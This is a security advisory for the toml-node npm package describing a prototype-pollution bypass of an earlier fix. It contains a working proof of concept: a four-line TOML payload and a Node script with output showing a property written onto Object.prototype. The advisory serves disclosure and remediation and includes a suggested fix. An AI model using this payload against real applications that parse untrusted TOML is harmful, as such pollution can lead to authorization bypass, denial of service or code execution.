GHSA-H895-CGQG-JF52
Vulnerability from github – Published: 2026-10-22 16:39 – Updated: 2026-10-22 16:39Summary
CVE-2026-63376 described prototype pollution through proto key-path desynchronization and was fixed in 4.1.2 by rewriting the path bookkeeping and adding an ownedContainers WeakSet. The desynchronization is still reachable, spelled with a quote character instead of a dot, and the owned-container check is not applied on the path that matters.
A four-line TOML document parsed with toml.parse() writes a property onto Object.prototype, where it is visible to every object in the process — including objects produced by unrelated libraries.
Details
Three gaps compose. All line numbers are lib/compiler.js in 5.0.0.
1. The path-key encoding is ambiguous. quoteDottedString() quotes a segment only when it contains a ., and never escapes a " inside the segment:
287: function quoteDottedString(str) {
288: if (str.indexOf(".") > -1) {
289: return "\"" + str + "\"";
290: } else {
291: return str;
292: }
293: }
So the key path ['x.y'] and the key path ['"x', 'y"'] both render as the string "x.y". This is the same desynchronization CVE-2026-63376 named, with a quote in place of the dot.
2. A table-array header can clear another key's guard. addTableArray() walks assignedPaths / valueAssignments with isSameOrSubPath() over those ambiguous strings, so a header whose rendered path collides with an unrelated key deletes that key's entry.
3. The descent in assign() has no owned-container check. deepRef() applies isOwnedContainer() only to intermediate segments (lib/compiler.js:265, :273) and returns the final container unchecked. assign() then walks it with only a shape test:
93: target = target[k];
...
103: target[lastKey] = reduced;
A TOML datetime is a Date. It satisfies typeof target[k] === "object" and is not an array, so the walk descends into it — and a Date has a live prototype chain to Object.prototype.
Putting the three together, a document can make the current table a Date and then walk __proto__.__proto__ to Object.prototype.
mkdir poc && cd poc && npm init -y >/dev/null && npm install toml@5.0.0
# poc.toml
"b.c" = 1979-05-27T07:32:00Z
[['"b']]
["b.c"]
__proto__.__proto__.polluted = "yes"
Line 1 defines a key whose rendered path is "b.c" and whose value is a Date.
Line 2 is a table-array header whose rendered path collides with it, clearing its guard.
Line 3 re-enters that key, so the current table is now the Date.
Line 4 walks Date → Date.prototype → Object.prototype.
// poc.js
const toml = require('toml');
const fs = require('fs');
console.log('before:', JSON.stringify(({}).polluted));
toml.parse(fs.readFileSync('poc.toml', 'utf8'));
console.log('after: ', JSON.stringify(({}).polluted));
console.log('Object.prototype.hasOwnProperty("polluted") =', Object.prototype.hasOwnProperty('polluted'));
console.log('JSON.parse("{}").polluted =', JSON.stringify(JSON.parse('{}').polluted));
$ node poc.js
before: undefined
after: "yes"
Object.prototype.hasOwnProperty("polluted") = true
JSON.parse("{}").polluted = "yes"
The payload sets a single harmless marker property. The last line shows the property is visible on an object this code never touched.
A useful control: the same document without line 2 (the guard-clearing header) is correctly rejected on 4.1.2 and later, which confirms the clearing step is what is load-bearing.
Impact
Any application that parses a TOML document from an untrusted source is affected — a configuration file uploaded by a user, a manifest from a third-party package or repository, a document posted to an API. Prototype pollution of this kind commonly escalates to authentication or authorization bypass, denial of service, and in applications with a suitable gadget, remote code execution, because every object in the process inherits the injected property.
Suggested fix: in assign(), apply the same check the intermediate descent already uses — after target = target[k], reject when !isOwnedContainer(target). Equivalently, apply isOwnedContainer to the value deepRef() returns. Separately, quoteDottedString() should escape " inside a segment so that distinct key paths cannot render to the same string.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.0"
},
"package": {
"ecosystem": "npm",
"name": "tome"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-114142"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-22T16:39:55Z",
"nvd_published_at": "2026-10-21T21:17:56Z",
"severity": "HIGH"
},
"details": "### Summary\nCVE-2026-63376 described prototype pollution through __proto__ key-path desynchronization and was fixed in 4.1.2 by rewriting the path bookkeeping and adding an ownedContainers WeakSet. The desynchronization is still reachable, spelled with a quote character instead of a dot, and the owned-container check is not applied on the path that matters.\n\nA four-line TOML document parsed with toml.parse() writes a property onto Object.prototype, where it is visible to every object in the process \u2014 including objects produced by unrelated libraries.\n\n### Details\nThree gaps compose. All line numbers are `lib/compiler.js` in 5.0.0.\n\n**1. The path-key encoding is ambiguous.** `quoteDottedString()` quotes a segment only when it contains a `.`, and never escapes a `\"` inside the segment:\n\n```js\n287: function quoteDottedString(str) {\n288: if (str.indexOf(\".\") \u003e -1) {\n289: return \"\\\"\" + str + \"\\\"\";\n290: } else {\n291: return str;\n292: }\n293: }\n```\n\nSo the key path `[\u0027x.y\u0027]` and the key path `[\u0027\"x\u0027, \u0027y\"\u0027]` both render as the string `\"x.y\"`. This is the same desynchronization CVE-2026-63376 named, with a quote in place of the dot.\n\n**2. A table-array header can clear another key\u0027s guard.** `addTableArray()` walks `assignedPaths` / `valueAssignments` with `isSameOrSubPath()` over those ambiguous strings, so a header whose rendered path collides with an unrelated key deletes that key\u0027s entry.\n\n**3. The descent in `assign()` has no owned-container check.** `deepRef()` applies `isOwnedContainer()` only to intermediate segments (`lib/compiler.js:265`, `:273`) and returns the final container unchecked. `assign()` then walks it with only a shape test:\n\n```js\n 93: target = target[k];\n...\n103: target[lastKey] = reduced;\n```\n\nA TOML datetime is a `Date`. It satisfies `typeof target[k] === \"object\"` and is not an array, so the walk descends into it \u2014 and a `Date` has a live prototype chain to `Object.prototype`.\n\nPutting the three together, a document can make the current table a `Date` and then walk `__proto__.__proto__` to `Object.prototype`.\n\n```bash\nmkdir poc \u0026\u0026 cd poc \u0026\u0026 npm init -y \u003e/dev/null \u0026\u0026 npm install toml@5.0.0\n```\n\n```toml\n# poc.toml\n\"b.c\" = 1979-05-27T07:32:00Z\n[[\u0027\"b\u0027]]\n[\"b.c\"]\n__proto__.__proto__.polluted = \"yes\"\n```\n\nLine 1 defines a key whose rendered path is `\"b.c\"` and whose value is a `Date`.\nLine 2 is a table-array header whose rendered path collides with it, clearing its guard.\nLine 3 re-enters that key, so the current table is now the `Date`.\nLine 4 walks `Date` \u2192 `Date.prototype` \u2192 `Object.prototype`.\n\n```js\n// poc.js\nconst toml = require(\u0027toml\u0027);\nconst fs = require(\u0027fs\u0027);\n\nconsole.log(\u0027before:\u0027, JSON.stringify(({}).polluted));\ntoml.parse(fs.readFileSync(\u0027poc.toml\u0027, \u0027utf8\u0027));\nconsole.log(\u0027after: \u0027, JSON.stringify(({}).polluted));\nconsole.log(\u0027Object.prototype.hasOwnProperty(\"polluted\") =\u0027, Object.prototype.hasOwnProperty(\u0027polluted\u0027));\nconsole.log(\u0027JSON.parse(\"{}\").polluted =\u0027, JSON.stringify(JSON.parse(\u0027{}\u0027).polluted));\n```\n\n```\n$ node poc.js\nbefore: undefined\nafter: \"yes\"\nObject.prototype.hasOwnProperty(\"polluted\") = true\nJSON.parse(\"{}\").polluted = \"yes\"\n```\n\nThe payload sets a single harmless marker property. The last line shows the property is visible on an object this code never touched.\n\nA useful control: the same document without line 2 (the guard-clearing header) is correctly rejected on 4.1.2 and later, which confirms the clearing step is what is load-bearing.\n\n### Impact\n\nAny application that parses a TOML document from an untrusted source is affected \u2014 a configuration file uploaded by a user, a manifest from a third-party package or repository, a document posted to an API. Prototype pollution of this kind commonly escalates to authentication or authorization bypass, denial of service, and in applications with a suitable gadget, remote code execution, because every object in the process inherits the injected property.\n\nSuggested fix: in `assign()`, apply the same check the intermediate descent already uses \u2014 after `target = target[k]`, reject when `!isOwnedContainer(target)`. Equivalently, apply `isOwnedContainer` to the value `deepRef()` returns. Separately, `quoteDottedString()` should escape `\"` inside a segment so that distinct key paths cannot render to the same string.",
"id": "GHSA-h895-cgqg-jf52",
"modified": "2026-10-22T16:39:55Z",
"published": "2026-10-22T16:39:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/BinaryMuse/toml-node/security/advisories/GHSA-h895-cgqg-jf52"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114142"
},
{
"type": "WEB",
"url": "https://github.com/BinaryMuse/toml-node/commit/609c873fffea0a27ebe5b4dd098eed2b3daf3606"
},
{
"type": "PACKAGE",
"url": "https://github.com/BinaryMuse/toml-node"
},
{
"type": "WEB",
"url": "https://github.com/BinaryMuse/toml-node/releases/tag/v5.0.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "toml-node: Prototype pollution: parsing a TOML document can write to Object.prototype"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.